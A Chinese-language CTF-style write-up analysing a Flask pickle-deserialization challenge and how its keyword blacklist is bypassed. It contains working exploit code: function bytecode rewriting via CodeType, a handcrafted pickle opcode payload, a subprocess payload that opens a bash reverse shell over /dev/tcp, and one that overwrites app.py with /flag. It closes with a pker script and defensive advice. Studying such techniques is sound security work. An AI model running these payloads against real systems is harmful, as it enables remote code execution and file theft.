Pickle反序列化中的字节码重写绕过
字数 894 2025-08-22 12:22:54
Pickle反序列化中的字节码重写绕过技术分析
漏洞背景
本文分析的是一个基于Python Flask框架的Web应用,其中存在Pickle反序列化漏洞。应用开发者试图通过多种防护措施来防止反序列化攻击,包括:
- 黑名单过滤危险函数和模块
- 替换
sys.modules中的os和sys模块 - 限制Pickle反序列化的输入
然而,通过字节码重写技术,攻击者仍然能够绕过这些防护措施,最终实现任意文件读取。
漏洞代码分析
关键路由分析
- /ppicklee路由 - 反序列化入口点
@app.route("/ppicklee", methods=["POST"])
def ppicklee():
data = request.form["data"]
sys.modules["os"] = "not allowed"
sys.modules["sys"] = "not allowed"
try:
pickle_data = base64.b64decode(data)
for i in {"os", "system", "eval", "setstate", "globals", "exec", "__builtins__",
"template", "render", "\\", "compile", "requests", "exit", "pickle",
"class", "mro", "flask", "sys", "base", "init", "config", "session",}:
if i.encode() in pickle_data:
return i + " waf"
pickle.loads(pickle_data)
return "success pickle"
except Exception as e:
return "fail pickle"
- /src路由 - 文件读取点
@app.route("/src")
def src():
return open("app.py", "r", encoding="utf-8").read()
防护措施分析
- 模块替换:将
os和sys模块替换为字符串"not allowed" - 黑名单过滤:检测Pickle数据中是否包含危险字符串
- Base64编码:要求输入数据经过Base64编码
攻击思路
预期解法:字节码重写
- 目标:修改
src()函数的字节码,使其读取/flag而非app.py - 技术原理:通过修改函数的
__code__属性中的co_consts元组,改变函数行为
字节码重写步骤
- 获取原始函数的
__code__属性 - 创建一个新的
CodeType对象,修改其中的co_consts参数 - 使用
setattr将新代码对象赋给函数
关键代码
import builtins
import types
def src():
return open("app.py", "r",encoding="utf-8").read()
# 获取原始代码对象属性
oCode = src.__code__
# 创建新代码对象,修改co_consts
new_code = types.CodeType(
oCode.co_argcount,
oCode.co_posonlyargcount,
oCode.co_kwonlyargcount,
oCode.co_nlocals,
oCode.co_stacksize,
oCode.co_flags,
oCode.co_code,
(None, '/flag', 'r', 'utf-8', ('encoding',)), # 修改后的常量
oCode.co_names,
oCode.co_varnames,
oCode.co_filename,
oCode.co_name,
oCode.co_firstlineno,
oCode.co_lnotab,
oCode.co_freevars,
oCode.co_cellvars,
)
# 设置新代码对象
builtins.setattr(src, "__code__", new_code)
构造Pickle载荷
使用Pickle操作码手动构造攻击载荷:
op3 = b'''cbuiltins
getattr
p0
c__main__
src
p3
g0
(g3
S'__code__'
tR
p4
g0
(g4
S'co_argcount'
tR
p5
[...省略部分...]
ctypes
CodeType
(g5
I0
g7
g8
g9
g10
g11
g12
g13
g14
g15
g16
g17
g18
g19
g20
tR
p21
cbuiltins
setattr
(g3
S"__code__"
g21
tR
.'''
非预期解法
- 利用未被过滤的subprocess模块
import pickle
import base64
import subprocess
class A():
def __reduce__(self):
return (subprocess.run, (["bash", "-c", "bash -i >& /dev/tcp/ip/port 0>&1"],))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
- 覆盖app.py文件
import os
import builtins
import pickle
import base64
import subprocess
class A():
def __reduce__(self):
return (subprocess.check_output, (["cp", "/flag", "/app/app.py"],))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
防御建议
- 避免使用Pickle反序列化不可信数据
- 使用更严格的白名单而非黑名单
- 考虑使用JSON等更安全的序列化格式
- 限制反序列化环境的能力
- 使用沙箱环境执行反序列化操作
工具推荐
- pker:自动将Python源代码转换为Pickle操作码的工具
- 项目地址:EddieIvan01/pker
示例pker脚本:
getattr = GLOBAL('builtins', 'getattr')
open = GLOBAL('builtins', 'open')
flag = open('/flag')
read = getattr(flag, 'read')
f = open('./app.py', 'w')
write = getattr(f, 'write')
fff = read()
write(fff)
return
总结
本案例展示了即使有看似严格的防护措施,Pickle反序列化仍然可能被绕过。字节码重写技术提供了一种绕过模块限制和函数黑名单的有效方法。开发者应当充分了解Pickle的安全风险,并在必须使用时采取更全面的防护措施。